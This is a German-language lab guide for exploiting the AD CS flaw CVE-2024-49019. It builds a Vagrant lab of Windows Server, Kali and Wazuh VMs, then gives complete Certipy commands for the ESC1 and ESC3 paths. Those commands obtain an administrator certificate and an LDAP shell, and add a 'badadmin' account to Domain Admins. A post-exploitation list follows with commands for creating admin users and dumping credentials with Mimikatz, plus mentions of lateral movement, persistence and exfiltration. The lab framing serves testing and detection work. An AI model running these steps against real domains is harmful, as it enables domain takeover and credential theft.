Ausnutzung von CVE-2024-49019: Privilegieneskalation in der Zertifizierungsstelle

Überblick

CVE-2024-49019 ist eine Schwachstelle in Active Directory Certificate Services (AD CS), die es einem Angreifer ermöglicht, durch Missbrauch der zertifikatsbasierten Authentifizierung Privilegien zu eskalieren. Dieser Leitfaden zeigt, wie diese Schwachstelle mit Certipy ausgenutzt werden kann.

Anmeldeinformationen-Tabelle

Die Ubuntu-Wazuh VM wird zu Erkennungszwecken verwendet. Erkennungsleitfaden Abhilfe

Schritt 1: Repository klonen und virtuelle Maschinen einrichten

Klonen Sie zunächst das Repository mit den erforderlichen Dateien:

git clone https://github.com/rayngnpc/CVE-2024-49019-rayng.git
cd CVE-2024-49019-rayng

Vagrant installieren

Sie müssen Vagrant auf Ihrem Host-Computer installieren, bevor Sie fortfahren.

Für Windows

Laden Sie Vagrant von hier herunter und installieren Sie es, oder installieren Sie es mit PowerShell:

choco install vagrant

Für Linux

sudo apt update && sudo apt install vagrant -y

Virtuelle Maschinen einrichten

Windows Server 2022 VM

cd windows-server2022
vagrant up

Kali Linux VM

cd kali-VM
vagrant up

Wazuh Ubuntu VM

cd WazuhUbuntu
vagrant up

Schritt 2: Virtuelles Netzwerk konfigurieren

Da der Exploit ein NAT-Netzwerk erfordert, konfigurieren Sie VirtualBox wie folgt:

Unter Windows

Stellen Sie vor dem Ausführen des folgenden Befehls sicher, dass VBoxManage zu Ihren Umgebungsvariablen hinzugefügt wurde. Falls nicht, führen Sie den Befehl mit dem vollständigen Pfad aus:

VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable

Wenn VBoxManage nicht erkannt wird, verwenden Sie:

"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable

Unter Linux

VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable

Stellen Sie sicher, dass alle VMs in VirtualBox überprüft und dem Netzwerkadapter NatNetwork - NatNet1 zugewiesen sind. Sie können ein NAT-Netzwerk mit einem anderen Namen erstellen, es muss sich jedoch im IP-Bereich 10.0.2.0/24 befinden.

Hinweis: Es wird empfohlen, DNS für den Wazuh-Server einzurichten. In diesem Fall sollte DNS: 10.0.2.1 lauten – Manchmal schlägt der API-Check ohne Internet fehl und Sie können nicht auf das Wazuh-Dashboard zugreifen.

Schritt 3: Hosts-Datei ändern

Stellen Sie vor dem Fortfahren sicher, dass alle VMs eingeschaltet sind.

Greifen Sie auf die Kali Linux VM zu, um den Angriff zu starten, und aktualisieren Sie Ihre /etc/hosts-Datei:

sudo nano /etc/hosts

Fügen Sie den folgenden Eintrag hinzu:

10.0.2.121 SERVER2022.pchau.domain.local SERVER2022 pchau-SERVER2022-CA pchau.domain.local

Speichern und schließen Sie die Datei.

Schritt 4: Umgebung einrichten

Navigieren Sie zum Verzeichnis CVE-49019 und aktivieren Sie die Python-Virtualenv:

cd ~/CVE-49019
source ~/CVE-49019/rayng/bin/activate

Schritt 5: Exploit-Methoden

Es gibt zwei Möglichkeiten, diese Schwachstelle auszunutzen: ESC1 und ESC3.

ESC1-Methode

Anfällige Vorlagen finden

certipy find -dc-ip 10.0.2.121 -username testuser -password '$Vulnerable139' -vulnerable -stdout

Zertifikat anfordern

certipy req -ca pchau-SERVER2022-CA -target-ip 10.0.2.121 -u '[email protected]' -p '$Vulnerable139' -template "WebServer" -upn "[email protected]" --application-policies 'Client Authentication'

Zertifikat für LDAP-Shell-Zugriff verwenden

certipy auth -pfx administrator.pfx -ldap-shell -dc-ip 10.0.2.121

Neuen Benutzer hinzufügen

add_user badadmin

Benutzer zur Gruppe „Domänen-Admins“ hinzufügen

add_user_to_group badadmin "Domain Admins"

ESC3-Methode

Anfällige Vorlagen finden

certipy find -dc-ip 10.0.2.121 -username testuser -password '$Vulnerable139' -vulnerable -stdout

Zertifikat vom Testbenutzer anfordern

certipy req -u [email protected] -p '$Vulnerable139' --application-policies "1.3.6.1.4.1.311.20.2.1" -ca 'pchau-SERVER2022-CA' -template WebServer -dc-ip 10.0.2.121

Zertifikat für Domänenadministrator mit dem testuser-Zertifikat anfordern

certipy req -u [email protected] -p '$Vulnerable139' -on-behalf-of PCHAU\\Administrator -template USER -ca 'pchau-SERVER2022-CA' -pfx testuser.pfx -dc-ip 10.0.2.121

Hier unterscheidet sich diese Methode von ESC1, da sie PKINIT anfordern und die Hashes aus dem TGT abrufen kann

certipy auth -pfx administrator.pfx -dc-ip 10.0.2.121

Hinweis: Falls Sie den Fehler erhalten: Fehler beim Versuch, TGT anzufordern: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew zu groß)

Es gibt eine Problemumgehung: Stellen Sie sicher, dass Ihr Host-Computer die gleiche Zeit wie der Windows-Server selbst hat. Führen Sie diesen Befehl aus, um die Kali-Linux VM auf die gleiche Zeit wie den Windows-Server zu aktualisieren.

sudo timedatectl set-ntp off

sudo rdate -n 10.0.2.121

Stellen Sie sicher, dass der Windows-Server die gleiche Zeitzone wie der Host-Computer hat. Beachten Sie, dass dies aufgrund der Organisation möglicherweise nicht geändert werden kann. Bitte gehen Sie zur Zeitzone und ändern Sie diese manuell, damit sie mit dem Host-Computer übereinstimmt. Kali-VM und Windows-Server müssen die gleiche Zeit wie der Host-Computer haben.

Sie können versuchen, die Zeitsynchronisation mit dem folgenden Befehl zu erzwingen:

w32tm /config /manualpeerlist:"time.windows.com,0x8" /syncfromflags:manual /reliable:yes /update

Zertifikat verwenden, um Administratorzugriff zu erhalten

certipy auth -pfx administrator.pfx -ldap-shell -dc-ip 10.0.2.121

Schritt 6: Was können Sie nach der Ausnutzung tun?

Sobald Zugriff auf Administratorebene erlangt wurde, kann der Angreifer:

• Benutzerkonten erstellen und verwalten
  root@kitploit:~

  net user hacked /add
  net localgroup "Administrators" hacked /add
  

• Anmeldeinformationen auslesen mit Mimikatz:
  root@kitploit:~

  sekurlsa::logonpasswords
  

• Secretdump mit Impacket
• Wmiexec für den Zugriff auf die Windows-Server-Shell
• Pivot und laterale Bewegung innerhalb des Netzwerks
• Persistenz einrichten
• Sensible Daten exfiltrieren

Informationen zu Erkennungs- und Abhilfestrategien finden Sie im Erkennungsleitfaden.

Fazit

CVE-2024-49019 stellt ein erhebliches Sicherheitsrisiko dar, da es eine unbefugte Privilegieneskalation ermöglicht. Das Verständnis dieser Schwachstelle und die Implementierung geeigneter Erkennungsmechanismen, beispielsweise mit Wazuh, sind entscheidend für die Sicherung von Active Directory-Umgebungen.

Weitere Informationen zur Sicherung von AD CS finden Sie unter Microsoft Security CVE-2024-49019.